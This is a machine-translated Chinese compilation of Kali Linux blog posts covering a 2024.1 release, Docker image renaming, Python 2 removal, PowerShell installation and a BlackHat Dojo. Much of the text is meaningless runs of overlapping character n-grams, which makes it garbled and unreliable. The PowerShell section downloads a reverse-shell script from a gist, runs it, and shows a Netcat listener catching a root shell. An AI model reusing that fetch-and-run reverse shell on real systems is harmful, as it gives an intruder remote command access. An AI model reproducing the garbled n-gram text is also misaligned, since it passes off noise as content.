版本='2024.1' VERSION_ID='2024.1' VERSION_CODENAME='kali-rolling' ┌──(kali㉿kali)-[~] └─$ uname -v #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) ┌──(kali㉿kali)-[~] └─$ uname -r 6.6.9-amd64 注意: uname -r 的输出可能会有所不同，具体取决于系统架构。 与往常一样，如果您在Kali 中遇到任何错误，请在我们的错误跟踪器上提交报告。我们永远无法修复我们不知道的损坏！社交网络不是错误跟踪器！想要更轻松地了解最新动态吗？自动化它！我们的博客有RSS 提要和时事通讯来帮助您。 年你 你好 年你好 今天 天我 我们 们推 推出 今天我 天我们 我们推 们推出 今天我们 天我们推 我们推出 由于 于这 这是 是我 们今 今年 年的 的第 第一 一个 个版 版本 由于这 于这是 这是我 是我们 我们今 们今年 今年的 年的第 的第一 第一个 一个版 个版本 由于这是 于这是我 这是我们 是我们今 我们今年 们今年的 今年的第 年的第一 的第一个 第一个版 一个版本 因此 此它 它确 确实 实包 包含 含新 新的 的视 视觉 觉元 元素 因此它 此它确 它确实 确实包 实包含 包含新 含新的 新的视 的视觉 视觉元 觉元素 因此它确 此它确实 它确实包 确实包含 实包含新 包含新的 含新的视 新的视觉 的视觉元 视觉元素 除此 此之 之外 除此之 此之外 除此之外 们还 还有 有一 一些 些令 令人 人兴 兴奋 奋的 的新 新镜 镜像 像可 可供 供讨 讨论 我们还 们还有 还有一 有一些 一些令 些令人 令人兴 人兴奋 兴奋的 奋的新 的新镜 新镜像 镜像可 像可供 可供讨 供讨论 我们还有 们还有一 还有一些 有一些令 一些令人 些令人兴 令人兴奋 人兴奋的 兴奋的新 奋的新镜 的新镜像 新镜像可 镜像可供 像可供讨 可供讨论 当然 然还 些软 软件 件包 包更 更改 当然还 然还有 一些软 些软件 软件包 件包更 包更改 当然还有 然还有一 有一些软 一些软件 些软件包 软件包更 件包更改 包括 括新 新工 工具 具和 和现 现有 有工 具的 的升 升级 包括新 括新工 新工具 工具和 具和现 和现有 现有工 有工具 工具的 具的升 的升级 包括新工 括新工具 新工具和 工具和现 具和现有 和现有工 现有工具 有工具的 工具的升 具的升级 如果 果您 您想 想亲 亲自 自查 查看 看新 新主 主题 题并 并尝 尝试 试其 其中 中一 个新 如果您 果您想 您想亲 想亲自 亲自查 自查看 查看新 看新主 新主题 主题并 题并尝 并尝试 尝试其 试其中 其中一 中一个 一个新 个新镜 如果您想 果您想亲 您想亲自 想亲自查 亲自查看 自查看新 查看新主 看新主题 新主题并 主题并尝 题并尝试 并尝试其 尝试其中 试其中一 其中一个 中一个新 一个新镜 个新镜像 请下 下载 载新 像或 或升 请下载 下载新 载新镜 镜像或 像或升 或升级 请下载新 下载新镜 载新镜像 新镜像或 镜像或升 像或升级 您已 已经 经安 安装 装了 果您已 您已经 已经安 经安装 安装了 如果您已 果您已经 您已经安 已经安装 经安装了 月发 发布 月发布 以来 变更 更日 日志 志的 变更日 更日志 日志的 变更日志 更日志的 免费 费软 免费软 费软件 免费软件 主动 动提 提出 出托 托管 管我 们的 的图 图像 主动提 动提出 提出托 出托管 托管我 管我们 我们的 们的图 的图像 主动提出 动提出托 提出托管 出托管我 托管我们 管我们的 我们的图 们的图像 们答 答应 应了 我们答 们答应 答应了 我们答应 们答应了 年主 题刷 刷新 年主题 主题刷 题刷新 年主题刷 主题刷新 的年 年度 度主 们的年 的年度 年度主 度主题 我们的年 们的年度 的年度主 年度主题 度主题刷 含所 所有 有新 新壁 壁纸 纸和 包含所 含所有 所有新 有新壁 新壁纸 壁纸和 包含所有 含所有新 所有新壁 有新壁纸 新壁纸和 题其 其他 他桌 桌面 面环 环境 境更 主题其 题其他 其他桌 他桌面 桌面环 面环境 环境更 境更改 主题其他 题其他桌 其他桌面 他桌面环 桌面环境 面环境更 环境更改 对默 默认 认环 境的 的一 些新 新调 调整 对默认 默认环 认环境 环境的 境的一 的一些 一些新 些新调 新调整 对默认环 默认环境 认环境的 环境的一 境的一些 的一些新 一些新调 些新调整 更新 适用 用于 适用于 无根 不良 良蓝 蓝牙 不良蓝 良蓝牙 不良蓝牙 攻击 击和 和其 他更 新新 攻击和 击和其 和其他 其他更 他更新 更新新 新新工 攻击和其 击和其他 和其他更 其他更新 他更新新 更新新工 新新工具 一如 如既 既往 一如既 如既往 一如既往 各种 种新 的闪 闪亮 亮工 各种新 种新的 新的闪 的闪亮 闪亮工 亮工具 各种新的 种新的闪 新的闪亮 的闪亮工 闪亮工具 出微 微镜 镜免 推出微 出微镜 微镜免 镜免费 推出微镜 出微镜免 微镜免费 镜免费软 在最 最新 新版 本的 在最新 最新版 新版本 版本的 在最新版 最新版本 新版本的 的社 社区 区镜 像网 网络 络变 变得 得更 更加 加强 强大 们的社 的社区 社区镜 区镜像 镜像网

这是针对Kali Linux Docker 镜像用户的一个非常简短的公告。 直到最近，我们还使用了一个简单命名为kali 的Docker 镜像，它是根据Kali 的最新版本（例如2019.4、2020.1 等）构建的，与我们的“kali-last-snapshot”网络存储库分支相匹配。在某种程度上，这是我们的“稳定”版本，因为它只会每季度更新一次，因为它与我们的发布周期同步。 我们仍然提供这个Docker 镜像，但为了清晰起见，现在它已从kali 重命名为kali-last-release。 旧的kali Docker 镜像暂时仍然存在，但如果您使用它，您将看到一个弃用警告，表明它正在被逐步淘汰。其余弃用计划如下: 在Kali 2022.1 版本发布后，我们将更新该映像以使其失败，这意味着当您尝试运行它时，容器将出错并显示一条有用的消息。在Kali 2022.2 版本发布后，我们将从Docker Hub 中完全删除它。因此，如果您仍在脚本或Dockerfile 中使用此映像，请更新它们并改用kali-last-release。 额外提醒:如果您需要最新版本的Kali，您可能需要使用kali-rolling Docker 镜像。这是“主”镜像（与我们的其他平台相匹配），并且每周都会更新（网络包也像所有其他Kali 平台一样每天更新）。 有关更多详细信息，请参阅我们的Kali Docker 官方文档。 谢谢你，快乐11111100110！ PS – 在相关主题: 上，Kali 镜像最近被添加到容器短名称列表中。这意味着Podman 用户只需输入podman run -it kali-rolling 即可运行Kali 容器，而不是使用完整的镜像名称docker.io/kalilinux/kali-rolling。如果主机系统在/etc/containers/registries.conf.d/shortnames.conf 中提供了最新的短名称列表，则此方法有效。如果您的主机系统是Kali Rolling，那就已经是这样了！ 这是 是针 针对 这是针 是针对 这是针对 镜像 像用 用户 户的 的一 一个 个非 非常 常简 简短 短的 的公 公告 镜像用 像用户 用户的 户的一 的一个 一个非 个非常 非常简 常简短 简短的 短的公 的公告 镜像用户 像用户的 用户的一 户的一个 的一个非 一个非常 个非常简 非常简短 常简短的 简短的公 短的公告 直到 到最 最近 直到最 到最近 直到最近 我们 们还 还使 使用 用了 了一 个简 简单 单命 命名 名为 我们还 们还使 还使用 使用了 用了一 了一个 一个简 个简单 简单命 单命名 命名为 我们还使 们还使用 还使用了 使用了一 用了一个 了一个简 一个简单 个简单命 简单命名 单命名为 它是 是根 根据 它是根 是根据 它是根据 的最 最新 新版 版本 的最新 最新版 新版本 的最新版 最新版本 例如 构建 建的 构建的 与我 们的 与我们 我们的 与我们的 网络 络存 存储 储库 库分 分支 支相 相匹 匹配 网络存 络存储 存储库 储库分 库分支 分支相 支相匹 相匹配 网络存储 络存储库 存储库分 储库分支 库分支相 分支相匹 支相匹配 在某 某种 种程 程度 度上 在某种 某种程 种程度 程度上 在某种程 某种程度 种程度上 是我 这是我 是我们 这是我们 是我们的 稳定 因为 为它 它只 只会 会每 每季 季度 度更 更新 新一 一次 因为它 为它只 它只会 只会每 会每季 每季度 季度更 度更新 更新一 新一次 因为它只 为它只会 它只会每 只会每季 会每季度 每季度更 季度更新 度更新一 更新一次 它与 的发 发布 布周 周期 期同 同步 为它与 它与我 们的发 的发布 发布周 布周期 周期同 期同步 因为它与 为它与我 它与我们 我们的发 们的发布 的发布周 发布周期 布周期同 周期同步 们仍 仍然 然提 提供 供这 这个 我们仍 们仍然 仍然提 然提供 提供这 供这个 我们仍然 们仍然提 仍然提供 然提供这 提供这个 但为 为了 了清 清晰 晰起 起见 但为了 为了清 了清晰 清晰起 晰起见 但为了清 为了清晰 了清晰起 清晰起见 现在 在它 它已 已从 现在它 在它已 它已从 现在它已 在它已从 重命 重命名 重命名为 旧的 像暂 暂时 时仍 然存 存在 镜像暂 像暂时 暂时仍 时仍然 仍然存 然存在 镜像暂时 像暂时仍 暂时仍然 时仍然存 仍然存在 但如 如果 果您 您使 用它 但如果 如果您 果您使 您使用 使用它 但如果您 如果您使 果您使用 您使用它 您将 将看 看到 到一 个弃 弃用 用警 警告 您将看 将看到 看到一 到一个 一个弃 个弃用 弃用警 用警告 您将看到 将看到一 看到一个 到一个弃 一个弃用 个弃用警 弃用警告 表明 明它 它正 正在 在被 被逐 逐步 步淘 淘汰 表明它 明它正 它正在 正在被 在被逐 被逐步 逐步淘 步淘汰 表明它正 明它正在 它正在被 正在被逐 在被逐步 被逐步淘 逐步淘汰 其余 余弃 用计 计划 划如 如下 其余弃 余弃用 弃用计 用计划 计划如 划如下 其余弃用 余弃用计 弃用计划 用计划如 计划如下 本发 布后 版本发 本发布 发布后 版本发布 本发布后 们将 将更 新该 该映 映像 像以 以使 使其 其失 失败 我们将 们将更 将更新 更新该 新该映 该映像 映像以 像以使 以使其 使其失 其失败 我们将更 们将更新 将更新该 更新该映 新该映像 该映像以 映像以使 像以使其 以使其失 使其失败 这意 意味 味着 着当 当您 您尝 尝试 试运 运行 行它 它时 这意味 意味着 味着当 着当您 当您尝 您尝试 尝试运 试运行 运行它 行它时 这意味着 意味着当 味着当您 着当您尝 当您尝试 您尝试运 尝试运行 试运行它 运行它时 容器 器将 将出 出错 错并 并显 显示 示一 一条 条有 有用 用的 的消 消息 容器将 器将出 将出错 出错并 错并显 并显示 显示一 示一条 一条有 条有用 有用的 用的消 的消息 容器将出 器将出错 将出错并 出错并显 错并显示 并显示一 显示一条 示一条有 一条有用 条有用的 有用的消 用的消息 将从 们将从 我们将从 中完 完全 全删 删除 除它 中完全 完全删 全删除 删除它 中完全删 完全删除 全删除它 因此 您仍 仍在 在脚 脚本 本或 果您仍 您仍在 仍在脚 在脚本 脚本或 如果您仍 果您仍在 您仍在脚 仍在脚本 在脚本或 中使 用此 此映 中使用 使用此 用此映 此映像 中使用此 使用此映 用此映像 请更 新它 它们 们并 并改 改用 请更新 更新它 新它们 它们并 们并改 并改用 请更新它

五年前，Python 开发者宣布他们将在2020 年停止支持Python 2。很长一段时间没有人关心，Python 3 的采用也很缓慢。但最近情况发生了很大变化，因为截止日期即将到来（1 月1 日）。 Debian 正在删除 Python 2 支持 Debian 计划在下一个稳定版本中完全摆脱Python 2，因此他们正在逐步摆脱Python 2 代码。他们在叶包（即没有反向依赖的包）上提交了发布关键错误，要求将它们移植到Python 3。如果Python 3 移植没有足够快地进行，这些包将从Debian 测试（这是Kali 的基础）中删除。 对 Kali 的影响 应用程序消失 由于Kali 是一个滚动发行版，因此它不断接收来自Debian 测试的更新。这包括软件包因为已从Debian 中删除而“消失”的情况。然而，只要有人将它们移植到Python 3，它们就可以稍后再回来。 我们已经在zenmap 的情况下经历过这种情况，它不再由nmap 开发人员维护。因此，它不再由Debian 的nmap 源码包构建，因此不再出现在Kali 中。 损坏的应用程序 我们在Kali 中有许多Python 2 应用程序，它们使用Debian 中打包的模块。当Debian 删除此类模块的Python 2 版本时，kali-dev 中的应用程序就会被破坏。 kali-rolling 不会因为其管理方式而受到影响，但kali-dev 和kali-rolling 之间日益增长的分歧使我们的工作变得更加困难:我们没有获得此类软件包的更新，并且还有其他（最近/）应用程序可能需要这些软件包的新版本！ Kali 也必须删除 Python 2 代码 由于生态系统的这一变化，Kali 别无选择，只能效仿Debian 并删除Python 2 代码。这项巨大的努力是针对以某种方式依赖于Python 2 的所有软件包的许多GitLab 问题进行跟踪的。我们已经为所有尚不支持Python 3 的软件包提交了上游错误报告。 我们如何处理每个案例取决于许多因素: 如果上游正在支持Python 3，那么我们只需等待它准备就绪即可。如果上游不活跃或对将其代码移植到Python 3 不感兴趣，那么我们几乎没有选择:要么删除软件包；要么找到一些添加Python 3 支持的分支/补丁；要么我们自己进行移植工作（除了琐碎的脚本之外，不太可能）。这还取决于软件包的类型: 对于Python 库，这是一个两步过程: 首先我们添加Python 3 支持；一旦所有反向依赖项已更新为使用Python 3，Python 2 支持将在稍后删除。对于Python 应用程序，单个更新可能就足够了，但该更新可能取决于首先将依赖项移植到Python 3。社区是时候添加所需的Python 3 支持了。我们甚至可能修补它们，以便它们显示警告，邀请用户做出贡献，或者至少了解该应用程序可能会在不久的将来被删除。 对于不再增加太多价值的软件包，或者在Kali 中具有可行替代方案的软件包，我们可能会随时删除它们。 您如何做出贡献 如果您最喜欢的应用程序之一出现在受影响的Kali 软件包或Debian pkg-security 团队的软件包中，那么您应该检查其情况，并可能通过提交添加Python 3 支持的拉取请求来帮助上游开发人员。即使上游不是很活跃，我们也能够合并您在Kali 中的更改，并将包保留更长时间，直到上游再次活跃。 如果您不具备所需的编码技能，您仍然可以尝试找到其他人编写的Python 3 fork/patch，并在相应的GitLab 问题或Debian bug 报告中向我们指出。或者，告诉开发人员您有多喜欢他们的应用程序，并且您希望继续使用它，因此他们应该移植到Python 3。 五年 年前 五年前 开发 发者 者宣 宣布 布他 他们 们将 将在 开发者 发者宣 者宣布 宣布他 布他们 他们将 们将在 开发者宣 发者宣布 者宣布他 宣布他们 布他们将 他们将在 年停 停止 止支 支持 年停止 停止支 止支持 年停止支 停止支持 很长 长一 一段 段时 时间 间没 没有 有人 人关 关心 很长一 长一段 一段时 段时间 时间没 间没有 没有人 有人关 人关心 很长一段 长一段时 一段时间 段时间没 时间没有 间没有人 没有人关 有人关心 的采 采用 用也 也很 很缓 缓慢 的采用 采用也 用也很 也很缓 很缓慢 的采用也 采用也很 用也很缓 也很缓慢 但最 最近 近情 情况 况发 发生 生了 了很 很大 大变 变化 但最近 最近情 近情况 情况发 况发生 发生了 生了很 了很大 很大变 大变化 但最近情 最近情况 近情况发 情况发生 况发生了 发生了很 生了很大 了很大变 很大变化 因为 为截 截止 止日 日期 期即 即将 将到 到来 因为截 为截止 截止日 止日期 日期即 期即将 即将到 将到来 因为截止 为截止日 截止日期 止日期即 日期即将 期即将到 即将到来 正在 在删 删除 正在删 在删除 正在删除 计划 划在 在下 下一 一个 个稳 稳定 定版 版本 本中 中完 完全 全摆 摆脱 计划在 划在下 在下一 下一个 一个稳 个稳定 稳定版 定版本 版本中 本中完 中完全 完全摆 全摆脱 计划在下 划在下一 在下一个 下一个稳 一个稳定 个稳定版 稳定版本 定版本中 版本中完 本中完全 中完全摆 完全摆脱 因此 此他 们正 在逐 逐步 步摆 因此他 此他们 他们正 们正在 正在逐 在逐步 逐步摆 步摆脱 因此他们 此他们正 他们正在 们正在逐 正在逐步 在逐步摆 逐步摆脱 代码 们在 在叶 叶包 他们在 们在叶 在叶包 他们在叶 们在叶包 即没 有反 反向 向依 依赖 赖的 的包 即没有 没有反 有反向 反向依 向依赖 依赖的 赖的包 即没有反 没有反向 有反向依 反向依赖 向依赖的 依赖的包 上提 提交 交了 了发 发布 布关 关键 键错 错误 上提交 提交了 交了发 了发布 发布关 布关键 关键错 键错误 上提交了 提交了发 交了发布 了发布关 发布关键 布关键错 关键错误 要求 求将 将它 它们 们移 移植 植到 要求将 求将它 将它们 它们移 们移植 移植到 要求将它 求将它们 将它们移 它们移植 们移植到 如果 植没 有足 足够 够快 快地 地进 进行 移植没 植没有 没有足 有足够 足够快 够快地 快地进 地进行 移植没有 植没有足 没有足够 有足够快 足够快地 够快地进 快地进行 这些 些包 包将 将从 这些包 些包将 包将从 这些包将 些包将从 测试 这是 的基 基础 的基础 中删 中删除 的影 影响 的影响 应用 用程 程序 序消 消失 应用程 用程序 程序消 序消失 应用程序 用程序消 程序消失 由于 是一 个滚 滚动 动发 发行 行版 是一个 一个滚 个滚动 滚动发 动发行 发行版 是一个滚 一个滚动 个滚动发 滚动发行 动发行版 此它 它不 不断 断接 接收 收来 来自 因此它 此它不 它不断 不断接 断接收 接收来 收来自 因此它不 此它不断 它不断接 不断接收 断接收来 接收来自 试的 的更 更新 测试的 试的更 的更新 测试的更 试的更新 这包 包括 括软 软件 件包 包因 为已 已从 这包括 包括软 括软件 软件包 件包因 包因为 因为已 为已从 这包括软 包括软件 括软件包 软件包因 件包因为 包因为已 因为已从 除而 删除而 中删除而 的情 的情况 然而 只要 要有 人将 只要有 要有人 有人将 人将它 只要有人 要有人将 有人将它 人将它们 们就 就可 可以 以稍 稍后 后再 再回 回来 它们就 们就可 就可以 可以稍 以稍后 稍后再 后再回 再回来 它们就可 们就可以 就可以稍 可以稍后 以稍后再 稍后再回 后再回来 我们 们已 已经 经在 我们已 们已经 已经在 我们已经 们已经在 况下 下经 经历 历过 过这 这种 种情 情况下 况下经 下经历 经历过 历过这 过这种 这种情 种情况 的情况下 情况下经 况下经历 下经历过 经历过这 历过这种 过这种情 这种情况 不再 再由 它不再 不再由 它不再由 发人 人员 员维 维护 开发人 发人员 人员维 员维护 开发人员 发人员维 人员维护 源码 码包 包构 构建 源码包 码包构 包构建 源码包构 码包构建 此不 再出 出现 现在 因此不 此不再 不再出 再出现 出现在 因此不再 此不再出 不再出现 再出现在 损坏

2019 年 11 月更新 截至2019 年，这篇文章已过时，因为powershell 已添加到主要存储库中。就做a: apt update apt -y 安装powershell 您的系统上将安装有powershell。 旧帖子 您可能已经知道可以安全地将外部存储库添加到Kali Linux 安装中，但您可能不知道在线可用的众多存储库之一包括Microsoft 提供的包含PowerShell 的存储库。该存储库适用于Debian，但其软件包在Kali 上安装得很好，正如我们将在这篇文章中展示的那样。 Kali 中的 PowerShell 软件包安装 我们首先安装必要的依赖项，默认情况下，其中大部分应该已经安装在您的Kali 安装中: apt update apt -y 安装curl gnupg apt-transport-https 接下来，我们需要下载并添加公共存储库GPG 密钥，以便APT 信任这些软件包并提醒您软件包签名的任何问题: 卷曲https://packages.microsoft.com/keys/microsoft.asc | apt-key 添加- 添加GPG 密钥后，我们继续将Microsoft 软件包存储库添加到/etc/apt/sources.list.d/下自己的软件包列表文件中，并更新可用软件包的列表: echo 'deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod 拉伸主' /etc/apt/sources.list.d/powershell.list 易于更新 最后，我们继续安装powershell包: apt -y 安装powershell 运行 PowerShell 软件包安装完成后，运行pwsh 将启动PowerShell，向我们呈现熟悉的“PS”提示符: root@kali:~# pwsh PowerShell v6.1.0-预览版.2 版权所有(c) Microsoft Corporation。版权所有。 https://aka.ms/pscore6-docs 输入“帮助”以获得帮助。 PS /根 如果您是PowerShell 新手，您可能想做的第一件事就是更新内置帮助，这可以通过运行Update-Help Cmdlet 来完成。这可能需要一些时间才能完成，但实际上只需要偶尔运行一次: PS /root 更新帮助 更新模块Microsoft.PowerShell.Utility 的帮助 查找帮助内容. 正如您所料，您不会找到在Windows 上使用PowerShell 时习惯的所有命令，但所有核心模块都存在，并且代码正在不断开发和改进: PS /root Get-Process -Name gnome* NPM(K) PM(M) WS(M) CPU ID SI 进程名称 ------ ----- ----- ------ -- -- ---------- 0 0.00 5.71 0.03 1073 072 gnome-keyring-d 0 0.00 9.80 0.19 659 649 gnome-会话-b 0 0.00 13.72 0.36 1089 080 gnome-会话-b 0 0.00 110.06 3.36 778 649 侏儒外壳 0 0.00 277.15 27.85 1170 080 侏儒外壳 0 0.00 11.77 0.09 1199 075 gnome-shell-cal 0 0.00 77.79 4.58 1381 080 gnome 软件 0 0.00 36.58 2.03 1646 646 gnome 终端- 然而，您可以做的令人惊讶的事情之一是使用PowerShell 将反向shell 发送到Netcat 侦听器。我们在网上遇到了一个小型的PowerShell 反向shell，令我们惊讶的是，它很高兴地连接回了我们的监听器: root@kali:~# pwsh PowerShell v6.1.0-预览版.2 版权所有(c) Microsoft Corporation。版权所有。 https://aka.ms/pscore6-docs 输入“帮助”以获得帮助。 PS /root wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1 PS /root ./mini-reverse.ps1 ──────────────────────────────────────────────────────────────────────── root@kali:~# nc -lvnp 413 收听[任何] 413 . 从（未知）[127.0.0.1] 59006 连接到[127.0.0.1] 身份证号 uid=0(root) gid=0(root) groups=0(root) uname -a Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux 我们认为值得注意的是，微软不仅开源了PowerShell，而且还不断更新和改进它，并且拥有一个公共软件包存储库，使安装变得轻而易举。 月更 更新 月更新 截至 这篇 篇文 文章 章已 已过 过时 这篇文 篇文章 文章已 章已过 已过时 这篇文章 篇文章已 文章已过 章已过时 因为 已添 添加 加到 到主 主要 要存 存储 储库 库中 已添加 添加到 加到主 到主要 主要存 要存储 存储库 储库中 已添加到 添加到主 加到主要 到主要存 主要存储 要存储库 存储库中 就做 安装 您的 的系 系统 统上 上将 将安 装有 您的系 的系统 系统上 统上将 上将安 将安装 安装有 您的系统 的系统上 系统上将 统上将安 上将安装 将安装有 旧帖 帖子 旧帖子 您可 可能 能已 已经 经知 知道 道可 可以 以安 安全 全地 地将 将外 外部 部存 库添 您可能 可能已 能已经 已经知 经知道 知道可 道可以 可以安 以安全 安全地 全地将 地将外 将外部 外部存 部存储 储库添 库添加 您可能已 可能已经 能已经知 已经知道 经知道可 知道可以 道可以安 可以安全 以安全地 安全地将 全地将外 地将外部 将外部存 外部存储 部存储库 存储库添 储库添加 库添加到 装中 安装中 但您 能不 不知 道在 在线 线可 可用 用的 的众 众多 多存 库之 之一 一包 包括 但您可 可能不 能不知 不知道 知道在 道在线 在线可 线可用 可用的 用的众 的众多 众多存 多存储 储库之 库之一 之一包 一包括 但您可能 您可能不 可能不知 能不知道 不知道在 知道在线 道在线可 在线可用 线可用的 可用的众 用的众多 的众多存 众多存储 多存储库 存储库之 储库之一 库之一包 之一包括 提供 供的 的包 包含 提供的 供的包 的包含 提供的包 供的包含 的存 的存储 的存储库 该存 库适 适用 用于 该存储 储库适 库适用 适用于 该存储库 存储库适 储库适用 库适用于 但其 其软 软件 件包 包在 但其软 其软件 软件包 件包在 但其软件 其软件包 软件包在 上安 装得 得很 很好 上安装 安装得 装得很 得很好 上安装得 安装得很 装得很好 正如 如我 我们 们将 将在 在这 章中 中展 展示 示的 的那 那样 正如我 如我们 我们将 们将在 将在这 在这篇 文章中 章中展 中展示 展示的 示的那 的那样 正如我们 如我们将 我们将在 们将在这 将在这篇 在这篇文 篇文章中 文章中展 章中展示 中展示的 展示的那 示的那样 中的 包安 件包安 包安装 软件包安 件包安装 们首 首先 先安 装必 必要 要的 的依 依赖 赖项 我们首 们首先 首先安 先安装 安装必 装必要 必要的 要的依 的依赖 依赖项 我们首先 们首先安 首先安装 先安装必 安装必要 装必要的 必要的依 要的依赖 的依赖项 默认 认情 情况 况下 默认情 认情况 情况下 默认情况 认情况下 其中 中大 大部 部分 分应 应该 该已 经安 装在 在您 其中大 中大部 大部分 部分应 分应该 应该已 该已经 已经安 经安装 安装在 装在您 在您的 其中大部 中大部分 大部分应 部分应该 分应该已 应该已经 该已经安 已经安装 经安装在 安装在您 装在您的 接下 下来 接下来 们需 需要 要下 下载 载并 并添 加公 公共 共存 我们需 们需要 需要下 要下载 下载并 载并添 并添加 添加公 加公共 公共存 共存储 我们需要 们需要下 需要下载 要下载并 下载并添 载并添加 并添加公 添加公共 加公共存 公共存储 共存储库 密钥 以便 信任 任这 这些 些软 包并 并提 提醒 醒您 您软 包签 签名 名的 的任 任何 何问 问题 信任这 任这些 这些软 些软件 件包并 包并提 并提醒 提醒您 醒您软 您软件 件包签 包签名 签名的 名的任 的任何 任何问 何问题 信任这些 任这些软 这些软件 些软件包 软件包并 件包并提 包并提醒 并提醒您 提醒您软 醒您软件 您软件包 软件包签 件包签名 包签名的 签名的任 名的任何 的任何问 任何问题 卷曲 钥后 密钥后 们继 继续 续将 我们继 们继续 继续将 我们继续 们继续将 包存 件包存 包存储 软件包存 件包存储 包存储库 下自 自己 己的 的软 包列 列表 表文 文件 件中 下自己 自己的 己的软 的软件 件包列 包列表 列表文 表文件 文件中 下自己的 自己的软 己的软件 的软件包 软件包列 件包列表 包列表文 列表文件 表文件中 并更 新可 用软 包的 的列 并更新 更新可 新可用 可用软 用软件 件包的 包的列 的列表 并更新可 更新可用 新可用软 可用软件 用软件包 软件包的 件包的列 包的列表 拉伸 伸主 拉伸主 易于 于更 易于更 于更新 易于更新 最后 续安 继续安 续安装 们继续安 继续安装 运行 装完 完成

Kali Linux Dojo，BlackHat 2016 - 拉斯维加斯 过去几年我们非常喜欢在Black Hat 进行Dojo。这是一个展示Kali Linux 一些鲜为人知（但非常有用）的功能以及与用户群互动的绝佳机会。但以前结构的局限性之一是，虽然这是一次实践练习，但许多与会者的移动速度彼此不同。因此，我们希望转向更多的“自助服务”模式，与会者可以顺便参加，访问培训材料，并可以按照自己的节奏自由工作。我们完成了今年将推出的新模型，让每个人都可以花尽可能多或尽可能少的时间来根据自己的需求定制一个可运行的Kali 安装。在此过程中，Kali 开发人员将在现场与每个人保持一致的互动。 使用 Kali Linux 破解游乐场 这导致了结构的下一个重大变化，正如前几年常见的问题是“太棒了！我安装了这个漂亮的Kali，现在我该怎么用它？”。今年，我们对此有一个很好的答案: 破解我们的系统！ 我们在OffSec 的好朋友非常慷慨地为我们提供了许多预先配置了有趣且独特漏洞的系统。该环境将在房间中设置，与会者可以连接到该环境并使用Kali Linux，随心所欲地破解这些系统。更重要的是，我们将为获得最高分的人颁发奖品，为您破解所有的事情提供一些额外的奖励。 Playground CTF 中的炫酷赠品 以下是我们将赠送给Kali Dojo CTF: 竞赛获胜者的几张Kali 硬件照片 如果您想参加，需要携带什么： 现在我们已经引起您的注意，这是您需要带的东西！ 功能强大的64 位笔记本电脑，在虚拟机或本地安装了Kali Rolling (!)。虚拟机或笔记本电脑中至少有40 GB 可用空间，用于生成ISOs8GB USB 3.0 棒（或更大）以创建Kali Live USB。我们将在现场提供Kali VMWare 映像供您下载- 因此，如果您选择此选项，请确保您安装了最新的VMware Workstation of Fusion。是的，请确保它是最新版本！ 来打个招呼！ 没错。您可以在Kali Linux 向公众推出之前获得预发行版本，您可以根据自己的喜好对其进行定制。然后你可以用它来破解易受攻击的机器来积累积分。我们将为您提供免费的东西来完成这一切。我们知道黑帽维加斯会发生很多事情，因为大会每年都会变得更好。我们确实希望您能在8 月4 日抽出一些时间来参加Kali Dojo，因为我们将参加一整天。 拉斯 斯维 维加 加斯 拉斯维 斯维加 维加斯 拉斯维加 斯维加斯 过去 去几 几年 年我 我们 们非 非常 常喜 喜欢 欢在 过去几 去几年 几年我 年我们 我们非 们非常 非常喜 常喜欢 喜欢在 过去几年 去几年我 几年我们 年我们非 我们非常 们非常喜 非常喜欢 常喜欢在 进行 这是 是一 一个 个展 展示 这是一 是一个 一个展 个展示 这是一个 是一个展 一个展示 一些 些鲜 鲜为 为人 人知 一些鲜 些鲜为 鲜为人 为人知 一些鲜为 些鲜为人 鲜为人知 但非 常有 有用 但非常 非常有 常有用 但非常有 非常有用 的功 功能 能以 以及 及与 与用 用户 户群 群互 互动 动的 的绝 绝佳 佳机 机会 的功能 功能以 能以及 以及与 及与用 与用户 用户群 户群互 群互动 互动的 动的绝 的绝佳 绝佳机 佳机会 的功能以 功能以及 能以及与 以及与用 及与用户 与用户群 用户群互 户群互动 群互动的 互动的绝 动的绝佳 的绝佳机 绝佳机会 但以 以前 前结 结构 构的 的局 局限 限性 性之 之一 一是 但以前 以前结 前结构 结构的 构的局 的局限 局限性 限性之 性之一 之一是 但以前结 以前结构 前结构的 结构的局 构的局限 的局限性 局限性之 限性之一 性之一是 虽然 然这 一次 次实 实践 践练 练习 虽然这 然这是 是一次 一次实 次实践 实践练 践练习 虽然这是 然这是一 这是一次 是一次实 一次实践 次实践练 实践练习 但许 许多 多与 与会 会者 者的 的移 移动 动速 速度 度彼 彼此 此不 不同 但许多 许多与 多与会 与会者 会者的 者的移 的移动 移动速 动速度 速度彼 度彼此 彼此不 此不同 但许多与 许多与会 多与会者 与会者的 会者的移 者的移动 的移动速 移动速度 动速度彼 速度彼此 度彼此不 彼此不同 因此 们希 希望 望转 转向 向更 更多 多的 我们希 们希望 希望转 望转向 转向更 向更多 更多的 我们希望 们希望转 希望转向 望转向更 转向更多 向更多的 自助 助服 服务 自助服 助服务 自助服务 模式 者可 可以 以顺 顺便 便参 参加 会者可 者可以 可以顺 以顺便 顺便参 便参加 与会者可 会者可以 者可以顺 可以顺便 以顺便参 顺便参加 访问 问培 培训 训材 材料 访问培 问培训 培训材 训材料 访问培训 问培训材 培训材料 并可 以按 按照 照自 自己 己的 的节 节奏 奏自 自由 由工 工作 并可以 可以按 以按照 按照自 照自己 自己的 己的节 的节奏 节奏自 奏自由 自由工 由工作 并可以按 可以按照 以按照自 按照自己 照自己的 自己的节 己的节奏 的节奏自 节奏自由 奏自由工 自由工作 们完 完成 成了 了今 今年 年将 将推 推出 出的 的新 新模 模型 我们完 们完成 完成了 成了今 了今年 今年将 年将推 将推出 推出的 出的新 的新模 新模型 我们完成 们完成了 完成了今 成了今年 了今年将 今年将推 年将推出 将推出的 推出的新 出的新模 的新模型 让每 每个 个人 人都 都可 以花 花尽 尽可 可能 能多 多或 或尽 能少 少的 的时 时间 间来 来根 根据 据自 的需 需求 求定 定制 制一 个可 可运 运行 行的 让每个 每个人 个人都 人都可 都可以 可以花 以花尽 花尽可 尽可能 可能多 能多或 多或尽 或尽可 可能少 能少的 少的时 的时间 时间来 间来根 来根据 根据自 据自己 己的需 的需求 需求定 求定制 定制一 制一个 一个可 个可运 可运行 运行的 让每个人 每个人都 个人都可 人都可以 